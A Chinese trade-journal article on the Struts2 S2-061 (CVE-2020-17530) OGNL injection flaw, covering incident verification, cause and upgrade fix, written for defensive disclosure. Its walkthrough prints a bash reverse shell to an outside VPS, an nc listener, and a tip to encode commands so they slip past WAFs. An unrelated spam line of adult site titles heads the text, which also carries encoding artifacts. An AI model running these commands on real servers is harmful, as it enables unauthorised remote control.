国产日韩欧美一区二区三区三州_亚洲少妇熟女av_久久久久亚洲av国产精品_波多野结衣网站一区二区_亚洲欧美色片在线91_国产亚洲精品精品国产优播av_日本一区二区三区波多野结衣 _久久国产av不卡

?

基于“Struts2-061”漏洞談網(wǎng)絡(luò)安全問題防范

2021-08-04 21:47孫海波王剛
中國新通信 2021年8期

孫海波 王剛

【摘要】? ? 本文就一起“Struts2-061”網(wǎng)絡(luò)安全漏洞事件,詳細(xì)介紹了該漏洞的驗(yàn)證步驟、原理、修復(fù)方法,如何做好網(wǎng)站的安全漏洞防范,防止黑客利用此漏洞對(duì)目標(biāo)服務(wù)器進(jìn)行數(shù)據(jù)竊取、篡改、破壞,或植入后門、掛馬等惡意操作。

【關(guān)鍵詞】? ? 網(wǎng)絡(luò)安全漏洞? ? 遠(yuǎn)程代碼執(zhí)行? ? OGNL表達(dá)式

網(wǎng)站的作用越來越大,無論企業(yè)還是個(gè)人都離不開網(wǎng)站。網(wǎng)站是由各類網(wǎng)頁集合而成的,而網(wǎng)頁的實(shí)質(zhì)就是一個(gè)html文件,因而網(wǎng)站是由許多的html文件構(gòu)成的。網(wǎng)站在搭建過程中,需要使用各種各樣的框架,比如Struts、Spring、Hibernate等。不同的應(yīng)用程序框架具有不同的特點(diǎn),在使用過程中,可能存在不同的安全隱患。

Struts2是一個(gè)基于MVC(Model View Controller,模型視圖控制器)設(shè)計(jì)模式的Web應(yīng)用程序框架,它既是Struts1的升級(jí)版本,更是一個(gè)全新的Struts架構(gòu)。因?yàn)镾truts2使用MVC設(shè)計(jì)模式,該模式中的模型、視圖、控制器三個(gè)層次各司其職,所以Struts2框架也面臨一個(gè)問題,即用戶數(shù)據(jù)在不同層次流轉(zhuǎn)的問題。為了解決這一問題,提高訪問速度,Struts2框架采用OGNL(Object-Graph Navigation Language,對(duì)象圖導(dǎo)航語言)來操作,即Struts 2默認(rèn)的表達(dá)式語言是OGNL,OGNL可以協(xié)助框架用非常簡單的表達(dá)式訪問不同的對(duì)象層。

本文就從筆者實(shí)際工作中遇到的一起Struts2-061漏洞事件談起,從該漏洞的驗(yàn)證方法、產(chǎn)生原理、漏洞危害、修復(fù)手段幾個(gè)方面出發(fā),全面地介紹Struts2-061漏洞的相關(guān)內(nèi)容,希望能對(duì)廣大讀者有所幫助。

一、事件經(jīng)過

筆者于2021年1月8日發(fā)現(xiàn)某單位門戶網(wǎng)站存在網(wǎng)絡(luò)安全漏洞,并向該單位進(jìn)行了通報(bào),漏洞詳細(xì)情況如下:漏洞名稱為Struts2-061漏洞;漏洞數(shù)量1個(gè);漏洞等級(jí)為高危;漏洞地址為http://192.---.---.133/index.action(“---”代表網(wǎng)站部分URL地址);漏洞描述為,Apache Structs2在使用某些標(biāo)簽屬性時(shí),可能存在OGNL表達(dá)式注入漏洞,從而造成遠(yuǎn)程代碼執(zhí)行,目標(biāo)服務(wù)器被提權(quán),風(fēng)險(xiǎn)極大。

漏洞驗(yàn)證前,我們看到該網(wǎng)址后綴為“.action”,則可判斷該網(wǎng)站使用框架為Apache Struts2。Action對(duì)象是Struts2框架的核心,每個(gè)URL地址都映射到特定的Action對(duì)象中,Action對(duì)象對(duì)來自用戶的請(qǐng)求提供處理邏輯,它有兩個(gè)重要功能:一是將用戶請(qǐng)求數(shù)據(jù)傳遞到框架視圖中,二是協(xié)助框架確定響應(yīng)結(jié)果對(duì)應(yīng)視圖中的用戶請(qǐng)求。驗(yàn)證詳細(xì)步驟如下。

1.1對(duì)目標(biāo)網(wǎng)站進(jìn)行數(shù)據(jù)包抓取

通過使用burpsuite工具對(duì)該網(wǎng)站進(jìn)行數(shù)據(jù)包抓取,burpsuite工具是用于攻擊、測試web應(yīng)用程序的集成平臺(tái),包含了許多工具,并為這些工具設(shè)計(jì)了許多接口,以加快攻擊、測試應(yīng)用程序的過程,能快速處理網(wǎng)站對(duì)應(yīng)的HTTP 消息、認(rèn)證、代理、日志、警報(bào)等。抓包結(jié)果如圖1所示。

1.2修改發(fā)送請(qǐng)求

我們將響應(yīng)結(jié)果發(fā)送到burpsuite工具的repeater里,并對(duì)發(fā)送的數(shù)據(jù)包進(jìn)行修改。因?yàn)槲覀冃枰匦掳l(fā)送請(qǐng)求數(shù)據(jù),所以將請(qǐng)求方式由GET改為POST。數(shù)據(jù)包主要修改兩個(gè)內(nèi)容,一是修改Content-Type為常見的POST數(shù)據(jù)內(nèi)容提交類型multipart/form-data,二是修改payload。另外,我們可以看到生成了一條記錄boundary分割線符,其值為----WebKitFormBoundaryl7d1B1aGsV2wcZwF,也就是說我們只要輸入這一值就相當(dāng)于輸入了一條分割線。具體修改內(nèi)容為:

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF

空一行

------WebKitFormBoundaryl7d1B1aGsV2wcZwF

Content-Disposition: form-data; name=”id”

空一行

(payload)

------WebKitFormBoundaryl7d1B1aGsV2wcZwF—

具體payload為:

1.3用Dnslog.cn網(wǎng)站進(jìn)行數(shù)據(jù)監(jiān)測

修改payload中的arglist.add參數(shù)并執(zhí)行,我們使用Dnslog.cn網(wǎng)站進(jìn)行數(shù)據(jù)監(jiān)測,首先開啟Dnslog,其中4puott.dnslog.cn為Dnslog.cn網(wǎng)站的臨時(shí)域名,如圖2所示。

1.4執(zhí)行修改后的請(qǐng)求數(shù)據(jù)包

在burpsuite的repeater工具中將arglist.add參數(shù)值改為“ping 4puott.dnslog.cn”,意思表示我們通過目標(biāo)主機(jī)來ping網(wǎng)址4puott.dnslog.cn(Dnslog.cn網(wǎng)站的臨時(shí)域名),發(fā)送數(shù)據(jù)包如圖3所示。

發(fā)送數(shù)據(jù)請(qǐng)求后,我們可以在Dnslog.cn網(wǎng)站上看到有數(shù)據(jù)記錄,證明目標(biāo)網(wǎng)站執(zhí)行了我們修改的ping 4puott.dnslog.cn命令,也就是實(shí)現(xiàn)了遠(yuǎn)程代碼執(zhí)行,因而可以證明該網(wǎng)站存在Struts2-061漏洞,如圖4所示。

1.5對(duì)目標(biāo)服務(wù)器進(jìn)行端口反彈

在上一步中已實(shí)現(xiàn)了遠(yuǎn)程代碼執(zhí)行,那我們就嘗試用nc工具(NetCat,一款網(wǎng)絡(luò)工具,可通過TCP或UDP協(xié)議傳輸讀寫數(shù)據(jù),對(duì)服務(wù)器端口進(jìn)行掃描、監(jiān)聽)進(jìn)行端口反彈,對(duì)目標(biāo)服務(wù)器進(jìn)行提權(quán)。保險(xiǎn)起見,在執(zhí)行端口反彈命令前,我們先將反彈命令進(jìn)行編碼加密,這樣可以在一定程度上防止被WAF、防火墻等設(shè)備攔截,編碼網(wǎng)站:http://www.jackson-t.ca/runtime-exec-payloads.html,如圖5所示。

反彈命令為“/bin/bash -i >& /dev/tcp/175.---.---.240/7777 0>&1”,其中175.---.---.240為我方虛擬專用VPS服務(wù)器的IP地址,7777為監(jiān)聽的端口,編碼后的字符如圖5所示,并將編碼后的字符復(fù)制到payload中的arglist.add參數(shù)里,執(zhí)行發(fā)送數(shù)據(jù)請(qǐng)求,如圖6所示。

然后在我們的VPS服務(wù)器上(root@miss-vps ~)運(yùn)行命令“nc –lvnp 7777”,即監(jiān)聽端口7777,如圖7所示。其中nc命令參數(shù)介紹如下:-l指使用監(jiān)聽模式,管控傳入的資料;-v指顯示指令執(zhí)行過程;-n指直接使用IP地址,而不通過域名服務(wù)器;-p<通信端口>指設(shè)置本地主機(jī)使用的通信端口。

1.6端口反彈成功

在burpsuite工具上執(zhí)行shell命令,并將數(shù)據(jù)反彈至我方VPS服務(wù)器7777端口,我們已成功登陸目標(biāo)服務(wù)器(root@0a0b2bd89d8f),如圖8所示。至此漏洞驗(yàn)證結(jié)束,我們未進(jìn)行深層次操作,可判斷該網(wǎng)站存在遠(yuǎn)程代碼執(zhí)行漏洞、存在Struts2-061漏洞。

二、漏洞原理

2020年12月,Apache Struts官方披露了編號(hào)為S2-061的遠(yuǎn)程代碼執(zhí)行漏洞,CVE編號(hào)為CVE-2020-17530。Apache Struts2框架是一個(gè)用于開發(fā)Java EE網(wǎng)絡(luò)應(yīng)用程序的Web框架,在使用某些標(biāo)簽時(shí)可能存在OGNL表達(dá)式注入漏洞的情況,從而造成遠(yuǎn)程代碼執(zhí)行,風(fēng)險(xiǎn)極大。

在Struts2標(biāo)簽屬性中強(qiáng)制使用OGNL表達(dá)式,并可被外部修改時(shí),攻擊者就可以構(gòu)造惡意的OGNL表達(dá)式觸發(fā)網(wǎng)絡(luò)安全漏洞。Struts2會(huì)對(duì)某些標(biāo)簽屬性(比如`id`,其他屬性未知) 的屬性值進(jìn)行二次表達(dá)式解析,因此當(dāng)這些標(biāo)簽屬性中使用了`%{X}`,且`X`的值可被用戶控制修改時(shí),用戶再傳入一個(gè)`%{payload}`,即可造成OGNL表達(dá)式執(zhí)行。在我們上面提到的漏洞驗(yàn)證過程中,就是對(duì)payload中arglist.add(“id”)進(jìn)行了修改,將id參數(shù)修改了兩次,一次是修改為“ping 4puott.dnslog.cn”,另一次是修改為端口反彈命令,結(jié)果這兩個(gè)修改后的payload都被成功執(zhí)行,進(jìn)而造成遠(yuǎn)程代碼執(zhí)行。

Struts2-061漏洞正是利用了這一弱點(diǎn),可造成遠(yuǎn)程代碼執(zhí)行,進(jìn)而達(dá)到攻擊者控制目標(biāo)服務(wù)器的目的。

三、修復(fù)方法

對(duì)于Struts2-061漏洞,我們應(yīng)該及時(shí)升級(jí)Struts2版本。目前官方已在新版本中修復(fù)了該漏洞,升級(jí)到Struts 2.5.26及更高版本便可修復(fù)Struts2-061漏洞,下載地址:https://struts.apache.org/download.cgi。另外,在升級(jí)前應(yīng)做好數(shù)據(jù)備份工作,避免出現(xiàn)意外情況。

四、結(jié)束語

這次發(fā)現(xiàn)的Struts2-061漏洞,是利用了攻擊者再傳入一個(gè)`%{payload}`,即可造成OGNL表達(dá)式執(zhí)行,導(dǎo)致遠(yuǎn)程代碼執(zhí)行,目標(biāo)服務(wù)器被控制,網(wǎng)站很容易被植入后門。2020年上半年,境內(nèi)外約1.8萬個(gè)IP地址對(duì)我國境內(nèi)約3.59萬個(gè)網(wǎng)站植入后門,我國境內(nèi)被植入后門的網(wǎng)站數(shù)量較2019年上半年增長36.9%[1]。

對(duì)網(wǎng)站的安全防護(hù)是一個(gè)長期性的工作,沒有捷徑可走。除了定期對(duì)網(wǎng)站進(jìn)行網(wǎng)絡(luò)安全漏洞掃描外,技術(shù)人員平時(shí)還要多關(guān)注網(wǎng)絡(luò)安全訊息,以避免自己網(wǎng)站存在漏洞被攻陷。這就要求我們要多了解、多學(xué)習(xí)、與時(shí)俱進(jìn),不斷提升自己的技術(shù)水平,以高度的責(zé)任心做好網(wǎng)絡(luò)安全防護(hù)工作。